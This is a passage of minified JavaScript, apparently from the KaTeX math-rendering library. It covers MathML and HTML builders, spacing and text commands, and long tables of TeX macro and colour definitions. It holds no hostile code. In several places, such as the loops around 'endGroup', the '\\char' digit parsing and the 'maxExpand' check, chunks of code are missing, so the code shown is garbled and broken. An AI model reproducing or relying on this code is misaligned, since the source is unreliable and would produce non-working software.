n=Tt(e,t);"bold-italic"===n&&r.setAttribute("mathvariant",n)}else"punct"===e.family?r.setAttribute("separator","true"):"open"!==e.family&&"close"!==e.family||r.setAttribute("stretchy","false");return r}});var xn={mi:"italic",mn:"normal",mtext:"normal"};at({type:"mathord",htmlBuilder:function(e,t){return je.makeOrd(e,t,"mathord")},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mi",[zt(e.text,e.mode,t)]),n=Tt(e,t)||"italic";return n!==xn[r.type]&&r.setAttribute("mathvariant",n),r}}),at({type:"textord",htmlBuilder:function(e,t){return je.makeOrd(e,t,"textord")},mathmlBuilder:function(e,t){var r,n=zt(e.text,e.mode,t),a=Tt(e,t)||"normal";return r="text"===e.mode?new Mt.MathNode("mtext",[n]):/[0-9]/.test(e.text)?new Mt.MathNode("mn",[n]):"\\prime"===e.text?new Mt.MathNode("mo",[n]):new Mt.MathNode("mi",[n]),a!==xn[r.type]&&r.setAttribute("mathvariant",a),r}});var wn={"\\nobreak":"nobreak","\\allowbreak":"allowbreak"},kn={" ":{},"\\ ":{},"~":{className:"nobreak"},"\\space":{},"\\nobreakspace":{className:"nobreak"}};at({type:"spacing",htmlBuilder:function(e,t){if(kn.hasOwnProperty(e.text)){var r=kn[e.text].className||"";if("text"===e.mode){var a=je.makeOrd(e,t,"textord");return a.classes.push(r),a}return je.makeSpan(["mspace",r],[je.mathsym(e.text,e.mode,t)],t)}if(wn.hasOwnProperty(e.text))return je.makeSpan(["mspace",wn[e.text]],[],t);throw new n('Unknown type of space "'+e.text+'"')},mathmlBuilder:function(e,t){if(!kn.hasOwnProperty(e.text)){if(wn.hasOwnProperty(e.text))return new Mt.MathNode("mspace");throw new n('Unknown type of space "'+e.text+'"')}return new Mt.MathNode("mtext",[new Mt.TextNode("\xa0")])}});var Sn=function(){var e=new Mt.MathNode("mtd",[]);return e.setAttribute("width","50%"),e};at({type:"tag",mathmlBuilder:function(e,t){var r=new Mt.MathNode("mtable",[new Mt.MathNode("mtr",[Sn(),new Mt.MathNode("mtd",[Nt(e.body,t)]),Sn(),new Mt.MathNode("mtd",[Nt(e.tag,t)])])]);return r.setAttribute("width","100%"),r}});var Mn={"\\text":void 0,"\\textrm":"textrm","\\textsf":"textsf","\\texttt":"texttt","\\textnormal":"textrm"},zn={"\\textbf":"textbf","\\textmd":"textmd"},An={"\\textit":"textit","\\textup":"textup"},Tn=function(e,t){var r=e.font;return r?Mn[r]?t.withTextFontFamily(Mn[r]):zn[r]?t.withTextFontWeight(zn[r]):t.withTextFontShape(An[r]):t};nt({type:"text",names:["\\text","\\textrm","\\textsf","\\texttt","\\textnormal","\\textbf","\\textmd","\\textit","\\textup"],props:{numArgs:1,argTypes:["text"],allowedInArgument:!0,allowedInText:!0},handler:function(e,t){var r=e.parser,n=e.funcName,a=t[0];return{type:"text",mode:r.mode,body:ot(a),font:n}},htmlBuilder:function(e,t){var r=Tn(e,t),n=ut(e.body,r,!0);return je.makeSpan(["mord","text"],n,r)},mathmlBuilder:function(e,t){var r=Tn(e,t);return Nt(e.body,r)}}),nt({type:"underline",names:["\\underline"],props:{numArgs:1,allowedInText:!0},handler:function(e,t){return{type:"underline",mode:e.parser.mode,body:t[0]}},htmlBuilder:function(e,t){var r=bt(e.body,t),n=je.makeLineSpan("underline-line",t),a=t.fontMetrics().defaultRuleThickness,i=je.makeVList({positionType:"top",positionData:r.height,children:[{type:"kern",size:a},{type:"elem",elem:n},{type:"kern",size:3*a},{type:"elem",elem:r}]},t);return je.makeSpan(["mord","underline"],[i],t)},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mo",[new Mt.TextNode("\u203e")]);r.setAttribute("stretchy","true");var n=new Mt.MathNode("munder",[qt(e.body,t),r]);return n.setAttribute("accentunder","true"),n}}),nt({type:"vcenter",names:["\\vcenter"],props:{numArgs:1,argTypes:["original"],allowedInText:!1},handler:function(e,t){return{type:"vcenter",mode:e.parser.mode,body:t[0]}},htmlBuilder:function(e,t){var r=bt(e.body,t),n=t.fontMetrics().axisHeight,a=.5*(r.height-n-(r.depth+n));return je.makeVList({positionType:"shift",positionData:a,children:[{type:"elem",elem:r}]},t)},mathmlBuilder:function(e,t){return new Mt.MathNode("mpadded",[qt(e.body,t)],["vcenter"])}}),nt({type:"verb",names:["\\verb"],props:{numArgs:0,allowedInText:!0},handler:function(e,t,r){throw new n("\\verb ended by end of line instead of matching delimiter")},htmlBuilder:function(e,t){for(var r=Bn(e),n=[],a=t.havingStyle(t.style.text()),i=0;i0;)this.endGroup()},t.has=function(e){return this.current.hasOwnProperty(e)||this.builtins.hasOwnProperty(e)},t.get=function(e){return this.current.hasOwnProperty(e)?this.current[e]:this.builtins[e]},t.set=function(e,t,r){if(void 0===r&&(r=!1),r){for(var n=0;n0&&(this.undefStack[this.undefStack.length-1][e]=t)}else{var a=this.undefStack[this.undefStack.length-1];a&&!a.hasOwnProperty(e)&&(a[e]=this.current[e])}this.current[e]=t},e}(),En=pn;dn("\\noexpand",(function(e){var t=e.popToken();return e.isExpandable(t.text)&&(t.noexpand=!0,t.treatAsRelax=!0),{tokens:[t],numArgs:0}})),dn("\\expandafter",(function(e){var t=e.popToken();return e.expandOnce(!0),{tokens:[t],numArgs:0}})),dn("\\@firstoftwo",(function(e){return{tokens:e.consumeArgs(2)[0],numArgs:0}})),dn("\\@secondoftwo",(function(e){return{tokens:e.consumeArgs(2)[1],numArgs:0}})),dn("\\@ifnextchar",(function(e){var t=e.consumeArgs(3);e.consumeSpaces();var r=e.future();return 1===t[0].length&&t[0][0].text===r.text?{tokens:t[1],numArgs:0}:{tokens:t[2],numArgs:0}})),dn("\\@ifstar","\\@ifnextchar *{\\@firstoftwo{#1}}"),dn("\\TextOrMath",(function(e){var t=e.consumeArgs(2);return"text"===e.mode?{tokens:t[0],numArgs:0}:{tokens:t[1],numArgs:0}}));var Hn={0:0,1:1,2:2,3:3,4:4,5:5,6:6,7:7,8:8,9:9,a:10,A:10,b:11,B:11,c:12,C:12,d:13,D:13,e:14,E:14,f:15,F:15};dn("\\char",(function(e){var t,r=e.popToken(),a="";if("'"===r.text)t=8,r=e.popToken();else if('"'===r.text)t=16,r=e.popToken();else if("`"===r.text)if("\\"===(r=e.popToken()).text[0])a=r.text.charCodeAt(1);else{if("EOF"===r.text)throw new n("\\char` missing argument");a=r.text.charCodeAt(0)}else t=10;if(t){if(null==(a=Hn[r.text])||a>=t)throw new n("Invalid base-"+t+" digit "+r.text);for(var i;null!=(i=Hn[e.future().text])&&i":"\\dotsb","-":"\\dotsb","*":"\\dotsb",":":"\\dotsb","\\DOTSB":"\\dotsb","\\coprod":"\\dotsb","\\bigvee":"\\dotsb","\\bigwedge":"\\dotsb","\\biguplus":"\\dotsb","\\bigcap":"\\dotsb","\\bigcup":"\\dotsb","\\prod":"\\dotsb","\\sum":"\\dotsb","\\bigotimes":"\\dotsb","\\bigoplus":"\\dotsb","\\bigodot":"\\dotsb","\\bigsqcup":"\\dotsb","\\And":"\\dotsb","\\longrightarrow":"\\dotsb","\\Longrightarrow":"\\dotsb","\\longleftarrow":"\\dotsb","\\Longleftarrow":"\\dotsb","\\longleftrightarrow":"\\dotsb","\\Longleftrightarrow":"\\dotsb","\\mapsto":"\\dotsb","\\longmapsto":"\\dotsb","\\hookrightarrow":"\\dotsb","\\doteq":"\\dotsb","\\mathbin":"\\dotsb","\\mathrel":"\\dotsb","\\relbar":"\\dotsb","\\Relbar":"\\dotsb","\\xrightarrow":"\\dotsb","\\xleftarrow":"\\dotsb","\\DOTSI":"\\dotsi","\\int":"\\dotsi","\\oint":"\\dotsi","\\iint":"\\dotsi","\\iiint":"\\dotsi","\\iiiint":"\\dotsi","\\idotsint":"\\dotsi","\\DOTSX":"\\dotsx"};dn("\\dots",(function(e){var t="\\dotso",r=e.expandAfterFuture().text;return r in Dn?t=Dn[r]:("\\not"===r.substr(0,4)||r in X.math&&l.contains(["bin","rel"],X.math[r].group))&&(t="\\dotsb"),t}));var Pn={")":!0,"]":!0,"\\rbrack":!0,"\\}":!0,"\\rbrace":!0,"\\rangle":!0,"\\rceil":!0,"\\rfloor":!0,"\\rgroup":!0,"\\rmoustache":!0,"\\right":!0,"\\bigr":!0,"\\biggr":!0,"\\Bigr":!0,"\\Biggr":!0,$:!0,";":!0,".":!0,",":!0};dn("\\dotso",(function(e){return e.future().text in Pn?"\\ldots\\,":"\\ldots"})),dn("\\dotsc",(function(e){var t=e.future().text;return t in Pn&&","!==t?"\\ldots\\,":"\\ldots"})),dn("\\cdots",(function(e){return e.future().text in Pn?"\\@cdots\\,":"\\@cdots"})),dn("\\dotsb","\\cdots"),dn("\\dotsm","\\cdots"),dn("\\dotsi","\\!\\cdots"),dn("\\dotsx","\\ldots\\,"),dn("\\DOTSI","\\relax"),dn("\\DOTSB","\\relax"),dn("\\DOTSX","\\relax"),dn("\\tmspace","\\TextOrMath{\\kern#1#3}{\\mskip#1#2}\\relax"),dn("\\,","\\tmspace+{3mu}{.1667em}"),dn("\\thinspace","\\,"),dn("\\>","\\mskip{4mu}"),dn("\\:","\\tmspace+{4mu}{.2222em}"),dn("\\medspace","\\:"),dn("\\;","\\tmspace+{5mu}{.2777em}"),dn("\\thickspace","\\;"),dn("\\!","\\tmspace-{3mu}{.1667em}"),dn("\\negthinspace","\\!"),dn("\\negmedspace","\\tmspace-{4mu}{.2222em}"),dn("\\negthickspace","\\tmspace-{5mu}{.277em}"),dn("\\enspace","\\kern.5em "),dn("\\enskip","\\hskip.5em\\relax"),dn("\\quad","\\hskip1em\\relax"),dn("\\qquad","\\hskip2em\\relax"),dn("\\tag","\\@ifstar\\tag@literal\\tag@paren"),dn("\\tag@paren","\\tag@literal{({#1})}"),dn("\\tag@literal",(function(e){if(e.macros.get("\\df@tag"))throw new n("Multiple \\tag");return"\\gdef\\df@tag{\\text{#1}}"})),dn("\\bmod","\\mathchoice{\\mskip1mu}{\\mskip1mu}{\\mskip5mu}{\\mskip5mu}\\mathbin{\\rm mod}\\mathchoice{\\mskip1mu}{\\mskip1mu}{\\mskip5mu}{\\mskip5mu}"),dn("\\pod","\\allowbreak\\mathchoice{\\mkern18mu}{\\mkern8mu}{\\mkern8mu}{\\mkern8mu}(#1)"),dn("\\pmod","\\pod{{\\rm mod}\\mkern6mu#1}"),dn("\\mod","\\allowbreak\\mathchoice{\\mkern18mu}{\\mkern12mu}{\\mkern12mu}{\\mkern12mu}{\\rm mod}\\,\\,#1"),dn("\\pmb","\\html@mathml{\\@binrel{#1}{\\mathrlap{#1}\\kern0.5px#1}}{\\mathbf{#1}}"),dn("\\newline","\\\\\\relax"),dn("\\TeX","\\textrm{\\html@mathml{T\\kern-.1667em\\raisebox{-.5ex}{E}\\kern-.125emX}{TeX}}");var Fn=D["Main-Regular"]["T".charCodeAt(0)][1]-.7*D["Main-Regular"]["A".charCodeAt(0)][1]+"em";dn("\\LaTeX","\\textrm{\\html@mathml{L\\kern-.36em\\raisebox{"+Fn+"}{\\scriptstyle A}\\kern-.15em\\TeX}{LaTeX}}"),dn("\\KaTeX","\\textrm{\\html@mathml{K\\kern-.17em\\raisebox{"+Fn+"}{\\scriptstyle A}\\kern-.15em\\TeX}{KaTeX}}"),dn("\\hspace","\\@ifstar\\@hspacer\\@hspace"),dn("\\@hspace","\\hskip #1\\relax"),dn("\\@hspacer","\\rule{0pt}{0pt}\\hskip #1\\relax"),dn("\\ordinarycolon",":"),dn("\\vcentcolon","\\mathrel{\\mathop\\ordinarycolon}"),dn("\\dblcolon",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-.9mu}\\vcentcolon}}{\\mathop{\\char"2237}}'),dn("\\coloneqq",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}=}}{\\mathop{\\char"2254}}'),dn("\\Coloneqq",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}=}}{\\mathop{\\char"2237\\char"3d}}'),dn("\\coloneq",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\mathrel{-}}}{\\mathop{\\char"3a\\char"2212}}'),dn("\\Coloneq",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\mathrel{-}}}{\\mathop{\\char"2237\\char"2212}}'),dn("\\eqqcolon",'\\html@mathml{\\mathrel{=\\mathrel{\\mkern-1.2mu}\\vcentcolon}}{\\mathop{\\char"2255}}'),dn("\\Eqqcolon",'\\html@mathml{\\mathrel{=\\mathrel{\\mkern-1.2mu}\\dblcolon}}{\\mathop{\\char"3d\\char"2237}}'),dn("\\eqcolon",'\\html@mathml{\\mathrel{\\mathrel{-}\\mathrel{\\mkern-1.2mu}\\vcentcolon}}{\\mathop{\\char"2239}}'),dn("\\Eqcolon",'\\html@mathml{\\mathrel{\\mathrel{-}\\mathrel{\\mkern-1.2mu}\\dblcolon}}{\\mathop{\\char"2212\\char"2237}}'),dn("\\colonapprox",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\approx}}{\\mathop{\\char"3a\\char"2248}}'),dn("\\Colonapprox",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\approx}}{\\mathop{\\char"2237\\char"2248}}'),dn("\\colonsim",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\sim}}{\\mathop{\\char"3a\\char"223c}}'),dn("\\Colonsim",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\sim}}{\\mathop{\\char"2237\\char"223c}}'),dn("\u2237","\\dblcolon"),dn("\u2239","\\eqcolon"),dn("\u2254","\\coloneqq"),dn("\u2255","\\eqqcolon"),dn("\u2a74","\\Coloneqq"),dn("\\ratio","\\vcentcolon"),dn("\\coloncolon","\\dblcolon"),dn("\\colonequals","\\coloneqq"),dn("\\coloncolonequals","\\Coloneqq"),dn("\\equalscolon","\\eqqcolon"),dn("\\equalscoloncolon","\\Eqqcolon"),dn("\\colonminus","\\coloneq"),dn("\\coloncolonminus","\\Coloneq"),dn("\\minuscolon","\\eqcolon"),dn("\\minuscoloncolon","\\Eqcolon"),dn("\\coloncolonapprox","\\Colonapprox"),dn("\\coloncolonsim","\\Colonsim"),dn("\\simcolon","\\mathrel{\\sim\\mathrel{\\mkern-1.2mu}\\vcentcolon}"),dn("\\simcoloncolon","\\mathrel{\\sim\\mathrel{\\mkern-1.2mu}\\dblcolon}"),dn("\\approxcolon","\\mathrel{\\approx\\mathrel{\\mkern-1.2mu}\\vcentcolon}"),dn("\\approxcoloncolon","\\mathrel{\\approx\\mathrel{\\mkern-1.2mu}\\dblcolon}"),dn("\\notni","\\html@mathml{\\not\\ni}{\\mathrel{\\char`\u220c}}"),dn("\\limsup","\\DOTSB\\operatorname*{lim\\,sup}"),dn("\\liminf","\\DOTSB\\operatorname*{lim\\,inf}"),dn("\\injlim","\\DOTSB\\operatorname*{inj\\,lim}"),dn("\\projlim","\\DOTSB\\operatorname*{proj\\,lim}"),dn("\\varlimsup","\\DOTSB\\operatorname*{\\overline{lim}}"),dn("\\varliminf","\\DOTSB\\operatorname*{\\underline{lim}}"),dn("\\varinjlim","\\DOTSB\\operatorname*{\\underrightarrow{lim}}"),dn("\\varprojlim","\\DOTSB\\operatorname*{\\underleftarrow{lim}}"),dn("\\gvertneqq","\\html@mathml{\\@gvertneqq}{\u2269}"),dn("\\lvertneqq","\\html@mathml{\\@lvertneqq}{\u2268}"),dn("\\ngeqq","\\html@mathml{\\@ngeqq}{\u2271}"),dn("\\ngeqslant","\\html@mathml{\\@ngeqslant}{\u2271}"),dn("\\nleqq","\\html@mathml{\\@nleqq}{\u2270}"),dn("\\nleqslant","\\html@mathml{\\@nleqslant}{\u2270}"),dn("\\nshortmid","\\html@mathml{\\@nshortmid}{\u2224}"),dn("\\nshortparallel","\\html@mathml{\\@nshortparallel}{\u2226}"),dn("\\nsubseteqq","\\html@mathml{\\@nsubseteqq}{\u2288}"),dn("\\nsupseteqq","\\html@mathml{\\@nsupseteqq}{\u2289}"),dn("\\varsubsetneq","\\html@mathml{\\@varsubsetneq}{\u228a}"),dn("\\varsubsetneqq","\\html@mathml{\\@varsubsetneqq}{\u2acb}"),dn("\\varsupsetneq","\\html@mathml{\\@varsupsetneq}{\u228b}"),dn("\\varsupsetneqq","\\html@mathml{\\@varsupsetneqq}{\u2acc}"),dn("\\imath","\\html@mathml{\\@imath}{\u0131}"),dn("\\jmath","\\html@mathml{\\@jmath}{\u0237}"),dn("\\llbracket","\\html@mathml{\\mathopen{[\\mkern-3.2mu[}}{\\mathopen{\\char`\u27e6}}"),dn("\\rrbracket","\\html@mathml{\\mathclose{]\\mkern-3.2mu]}}{\\mathclose{\\char`\u27e7}}"),dn("\u27e6","\\llbracket"),dn("\u27e7","\\rrbracket"),dn("\\lBrace","\\html@mathml{\\mathopen{\\{\\mkern-3.2mu[}}{\\mathopen{\\char`\u2983}}"),dn("\\rBrace","\\html@mathml{\\mathclose{]\\mkern-3.2mu\\}}}{\\mathclose{\\char`\u2984}}"),dn("\u2983","\\lBrace"),dn("\u2984","\\rBrace"),dn("\\minuso","\\mathbin{\\html@mathml{{\\mathrlap{\\mathchoice{\\kern{0.145em}}{\\kern{0.145em}}{\\kern{0.1015em}}{\\kern{0.0725em}}\\circ}{-}}}{\\char`\u29b5}}"),dn("\u29b5","\\minuso"),dn("\\darr","\\downarrow"),dn("\\dArr","\\Downarrow"),dn("\\Darr","\\Downarrow"),dn("\\lang","\\langle"),dn("\\rang","\\rangle"),dn("\\uarr","\\uparrow"),dn("\\uArr","\\Uparrow"),dn("\\Uarr","\\Uparrow"),dn("\\N","\\mathbb{N}"),dn("\\R","\\mathbb{R}"),dn("\\Z","\\mathbb{Z}"),dn("\\alef","\\aleph"),dn("\\alefsym","\\aleph"),dn("\\Alpha","\\mathrm{A}"),dn("\\Beta","\\mathrm{B}"),dn("\\bull","\\bullet"),dn("\\Chi","\\mathrm{X}"),dn("\\clubs","\\clubsuit"),dn("\\cnums","\\mathbb{C}"),dn("\\Complex","\\mathbb{C}"),dn("\\Dagger","\\ddagger"),dn("\\diamonds","\\diamondsuit"),dn("\\empty","\\emptyset"),dn("\\Epsilon","\\mathrm{E}"),dn("\\Eta","\\mathrm{H}"),dn("\\exist","\\exists"),dn("\\harr","\\leftrightarrow"),dn("\\hArr","\\Leftrightarrow"),dn("\\Harr","\\Leftrightarrow"),dn("\\hearts","\\heartsuit"),dn("\\image","\\Im"),dn("\\infin","\\infty"),dn("\\Iota","\\mathrm{I}"),dn("\\isin","\\in"),dn("\\Kappa","\\mathrm{K}"),dn("\\larr","\\leftarrow"),dn("\\lArr","\\Leftarrow"),dn("\\Larr","\\Leftarrow"),dn("\\lrarr","\\leftrightarrow"),dn("\\lrArr","\\Leftrightarrow"),dn("\\Lrarr","\\Leftrightarrow"),dn("\\Mu","\\mathrm{M}"),dn("\\natnums","\\mathbb{N}"),dn("\\Nu","\\mathrm{N}"),dn("\\Omicron","\\mathrm{O}"),dn("\\plusmn","\\pm"),dn("\\rarr","\\rightarrow"),dn("\\rArr","\\Rightarrow"),dn("\\Rarr","\\Rightarrow"),dn("\\real","\\Re"),dn("\\reals","\\mathbb{R}"),dn("\\Reals","\\mathbb{R}"),dn("\\Rho","\\mathrm{P}"),dn("\\sdot","\\cdot"),dn("\\sect","\\S"),dn("\\spades","\\spadesuit"),dn("\\sub","\\subset"),dn("\\sube","\\subseteq"),dn("\\supe","\\supseteq"),dn("\\Tau","\\mathrm{T}"),dn("\\thetasym","\\vartheta"),dn("\\weierp","\\wp"),dn("\\Zeta","\\mathrm{Z}"),dn("\\argmin","\\DOTSB\\operatorname*{arg\\,min}"),dn("\\argmax","\\DOTSB\\operatorname*{arg\\,max}"),dn("\\plim","\\DOTSB\\mathop{\\operatorname{plim}}\\limits"),dn("\\bra","\\mathinner{\\langle{#1}|}"),dn("\\ket","\\mathinner{|{#1}\\rangle}"),dn("\\braket","\\mathinner{\\langle{#1}\\rangle}"),dn("\\Bra","\\left\\langle#1\\right|"),dn("\\Ket","\\left|#1\\right\\rangle"),dn("\\angln","{\\angl n}"),dn("\\blue","\\textcolor{##6495ed}{#1}"),dn("\\orange","\\textcolor{##ffa500}{#1}"),dn("\\pink","\\textcolor{##ff00af}{#1}"),dn("\\red","\\textcolor{##df0030}{#1}"),dn("\\green","\\textcolor{##28ae7b}{#1}"),dn("\\gray","\\textcolor{gray}{#1}"),dn("\\purple","\\textcolor{##9d38bd}{#1}"),dn("\\blueA","\\textcolor{##ccfaff}{#1}"),dn("\\blueB","\\textcolor{##80f6ff}{#1}"),dn("\\blueC","\\textcolor{##63d9ea}{#1}"),dn("\\blueD","\\textcolor{##11accd}{#1}"),dn("\\blueE","\\textcolor{##0c7f99}{#1}"),dn("\\tealA","\\textcolor{##94fff5}{#1}"),dn("\\tealB","\\textcolor{##26edd5}{#1}"),dn("\\tealC","\\textcolor{##01d1c1}{#1}"),dn("\\tealD","\\textcolor{##01a995}{#1}"),dn("\\tealE","\\textcolor{##208170}{#1}"),dn("\\greenA","\\textcolor{##b6ffb0}{#1}"),dn("\\greenB","\\textcolor{##8af281}{#1}"),dn("\\greenC","\\textcolor{##74cf70}{#1}"),dn("\\greenD","\\textcolor{##1fab54}{#1}"),dn("\\greenE","\\textcolor{##0d923f}{#1}"),dn("\\goldA","\\textcolor{##ffd0a9}{#1}"),dn("\\goldB","\\textcolor{##ffbb71}{#1}"),dn("\\goldC","\\textcolor{##ff9c39}{#1}"),dn("\\goldD","\\textcolor{##e07d10}{#1}"),dn("\\goldE","\\textcolor{##a75a05}{#1}"),dn("\\redA","\\textcolor{##fca9a9}{#1}"),dn("\\redB","\\textcolor{##ff8482}{#1}"),dn("\\redC","\\textcolor{##f9685d}{#1}"),dn("\\redD","\\textcolor{##e84d39}{#1}"),dn("\\redE","\\textcolor{##bc2612}{#1}"),dn("\\maroonA","\\textcolor{##ffbde0}{#1}"),dn("\\maroonB","\\textcolor{##ff92c6}{#1}"),dn("\\maroonC","\\textcolor{##ed5fa6}{#1}"),dn("\\maroonD","\\textcolor{##ca337c}{#1}"),dn("\\maroonE","\\textcolor{##9e034e}{#1}"),dn("\\purpleA","\\textcolor{##ddd7ff}{#1}"),dn("\\purpleB","\\textcolor{##c6b9fc}{#1}"),dn("\\purpleC","\\textcolor{##aa87ff}{#1}"),dn("\\purpleD","\\textcolor{##7854ab}{#1}"),dn("\\purpleE","\\textcolor{##543b78}{#1}"),dn("\\mintA","\\textcolor{##f5f9e8}{#1}"),dn("\\mintB","\\textcolor{##edf2df}{#1}"),dn("\\mintC","\\textcolor{##e0e5cc}{#1}"),dn("\\grayA","\\textcolor{##f6f7f7}{#1}"),dn("\\grayB","\\textcolor{##f0f1f2}{#1}"),dn("\\grayC","\\textcolor{##e3e5e6}{#1}"),dn("\\grayD","\\textcolor{##d6d8da}{#1}"),dn("\\grayE","\\textcolor{##babec2}{#1}"),dn("\\grayF","\\textcolor{##888d93}{#1}"),dn("\\grayG","\\textcolor{##626569}{#1}"),dn("\\grayH","\\textcolor{##3b3e40}{#1}"),dn("\\grayI","\\textcolor{##21242c}{#1}"),dn("\\kaBlue","\\textcolor{##314453}{#1}"),dn("\\kaGreen","\\textcolor{##71B307}{#1}");var Vn={"\\relax":!0,"^":!0,_:!0,"\\limits":!0,"\\nolimits":!0},Gn=function(){function e(e,t,r){this.settings=void 0,this.expansionCount=void 0,this.lexer=void 0,this.macros=void 0,this.stack=void 0,this.mode=void 0,this.settings=t,this.expansionCount=0,this.feed(e),this.macros=new On(En,t.macros),this.mode=r,this.stack=[]}var t=e.prototype;return t.feed=function(e){this.lexer=new Rn(e,this.settings)},t.switchMode=function(e){this.mode=e},t.beginGroup=function(){this.macros.beginGroup()},t.endGroup=function(){this.macros.endGroup()},t.endGroups=function(){this.macros.endGroups()},t.future=function(){return 0===this.stack.length&&this.pushToken(this.lexer.lex()),this.stack[this.stack.length-1]},t.popToken=function(){return this.future(),this.stack.pop()},t.pushToken=function(e){this.stack.push(e)},t.pushTokens=function(e){var t;(t=this.stack).push.apply(t,e)},t.scanArgument=function(e){var t,r,n;if(e){if(this.consumeSpaces(),"["!==this.future().text)return null;t=this.popToken();var a=this.consumeArg(["]"]);n=a.tokens,r=a.end}else{var i=this.consumeArg();n=i.tokens,t=i.start,r=i.end}return this.pushToken(new Cn("EOF",r.loc)),this.pushTokens(n),t.range(r,"")},t.consumeSpaces=function(){for(;;){if(" "!==this.future().text)break;this.stack.pop()}},t.consumeArg=function(e){var t=[],r=e&&e.length>0;r||this.consumeSpaces();var a,i=this.future(),o=0,s=0;do{if(a=this.popToken(),t.push(a),"{"===a.text)++o;else if("}"===a.text){if(-1===--o)throw new n("Extra }",a)}else if("EOF"===a.text)throw new n("Unexpected end of input in a macro argument, expected '"+(e&&r?e[s]:"}")+"'",a);if(e&&r)if((0===o||1===o&&"{"===e[s])&&a.text===e[s]){if(++s===e.length){t.splice(-s,s);break}}else s=0}while(0!==o||r);return"{"===i.text&&"}"===t[t.length-1].text&&(t.pop(),t.shift()),t.reverse(),{tokens:t,start:i,end:a}},t.consumeArgs=function(e,t){if(t){if(t.length!==e+1)throw new n("The length of delimiters doesn't match the number of args!");for(var r=t[0],a=0;athis.settings.maxExpand)throw new n("Too many expansions: infinite loop or need to increase maxExpand setting");var i=a.tokens,o=this.consumeArgs(a.numArgs,a.delimiters);if(a.numArgs)for(var s=(i=i.slice()).length-1;s>=0;--s){var l=i[s];if("#"===l.text){if(0===s)throw new n("Incomplete placeholder at end of macro body",l);if("#"===(l=i[--s]).text)i.splice(s+1,1);else{if(!/^[1-9]$/.test(l.text))throw new n("Not a valid argument number",l);var h;(h=i).splice.apply(h,[s,2].concat(o[+l.text-1]))}}}return this.pushTokens(i),i},t.expandAfterFuture=function(){return this.expandOnce(),this.future()},t.expandNextToken=function(){for(;;){var e=this.expandOnce();if(e instanceof Cn){if("\\relax"!==e.text&&!e.treatAsRelax)return this.stack.pop();this.stack.pop()}}throw new Error},t.expandMacro=function(e){return this.macros.has(e)?this.expandTokens([new Cn(e)]):void 0},t.expandTokens=function(e){var t=[],r=this.stack.length;for(this.pushTokens(e);this.stack.length>r;){var n=this.expandOnce(!0);n instanceof Cn&&(n.treatAsRelax&&(n.noexpand=!1,n.treatAsRelax=!1),t.push(this.stack.pop()))}return t},t.expandMacroAsText=function(e){var t=this.expandMacro(e);return t?t.map((function(e){return e.text})).join(""):t},t._getExpansion=function(e){var t=this.macros.get(e);if(null==t)return t;if(1===e.length){var r=this.lexer.catcodes[e];if(null!=r&&13!==r)return}var n="function"==typeof t?t(this):t;if("string"==typeof n){var a=0;if(-1!==n.indexOf("#"))for(var i=n.replace(/##/g,"");-1!==i.indexOf("#"+(a+1));)++a;for(var o=new Rn(n,this.settings),s=[],l=o.lex();"EOF"!==l.text;)s.push(l),l=o.lex();return s.reverse(),{tokens:s,numArgs:a}}return n},t.isDefined=function(e){return this.macros.has(e)||Nn.hasOwnProperty(e)||X.math.hasOwnProperty(e)||X.text.hasOwnProperty(e)||Vn.hasOwnProperty(e)},t.isExpandable=function(e){var t=this.macros.get(e);return null!=t?"string"==typeof t||"function"==typeof t||!t.unexpandable:Nn.hasOwnProperty(e)&&!Nn[e].primitive},e}(),Un={"\u0301":{text:"\\'",math:"\\acute"},"\u0300":{text:"\\`",math:"\\grave"},"\u0308":{text:'\\"',math:"\\ddot"},"\u0303":{text:"\\~",math:"\\tilde"},"\u0304":{text:"\\=",math:"\\bar"},"\u0306":{text:"\\u",math:"\\breve"},"\u030c":{text:"\\v",math:"\\check"},"\u0302":{text:"\\^",math:"\\hat"},"\u0307":{text:"\\.",math:"\\dot"},"\u030a":{text:"\\r",math:"\\mathring"},"\u030b":{text:"\\H"},"\u0327":{text:"\\c"}},Yn={"\xe1":"a\u0301","\xe0":"a\u0300","\xe4":"a\u0308","\u01df":"a\u0308\u0304","\xe3":"a\u0303","\u0101":"a\u0304","\u0103":"a\u0306","\u1eaf":"a\u0306\u0301","\u1eb1":"a\u0306\u0300","\u1eb5":"a\u0306\u0303","\u01ce":"a\u030c","\xe2":"a\u0302","\u1ea5":"a\u0302\u0301","\u1ea7":"a\u0302\u0300","\u1eab":"a\u0302\u0303","\u0227":"a\u0307","\u01e1":"a\u0307\u0304","\xe5":"a\u030a","\u01fb":"a\u030a\u0301","\u1e03":"b\u0307","\u0107":"c\u0301","\u1e09":"c\u0327\u0301","\u010d":"c\u030c","\u0109":"c\u0302","\u010b":"c\u0307","\xe7":"c\u0327","\u010f":"d\u030c","\u1e0b":"d\u0307","\u1e11":"d\u0327","\xe9":"e\u0301","\xe8":"e\u0300","\xeb":"e\u0308","\u1ebd":"e\u0303","\u0113":"e\u0304","\u1e17":"e\u0304\u0301","\u1e15":"e\u0304\u0300","\u0115":"e\u0306","\u1e1d":"e\u0327\u0306","\u011b":"e\u030c","\xea":"e\u0302","\u1ebf":"e\u0302\u0301","\u1ec1":"e\u0302\u0300","\u1ec5":"e\u0302\u0303","\u0117":"e\u0307","\u0229":"e\u0327","\u1e1f":"f\u0307","\u01f5":"g\u0301","\u1e21":"g\u0304","\u011f":"g\u0306","\u01e7":"g\u030c","\u011d":"g\u0302","\u0121":"g\u0307","\u0123":"g\u0327","\u1e27":"h\u0308","\u021f":"h\u030c","\u0125":"h\u0302","\u1e23":"h\u0307","\u1e29":"h\u0327","\xed":"i\u0301","\xec":"i\u0300","\xef":"i\u0308","\u1e2f":"i\u0308\u0301","\u0129":"i\u0303","\u012b":"i\u0304","\u012d":"i\u0306","\u01d0":"i\u030c","\xee":"i\u0302","\u01f0":"j\u030c","\u